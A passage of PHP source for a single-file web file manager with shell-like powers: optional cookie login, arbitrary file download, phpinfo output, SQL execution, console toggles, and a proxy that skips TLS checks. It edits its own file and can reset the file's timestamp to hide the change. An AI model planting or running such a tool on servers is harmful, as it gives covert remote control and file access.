    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>"hello"</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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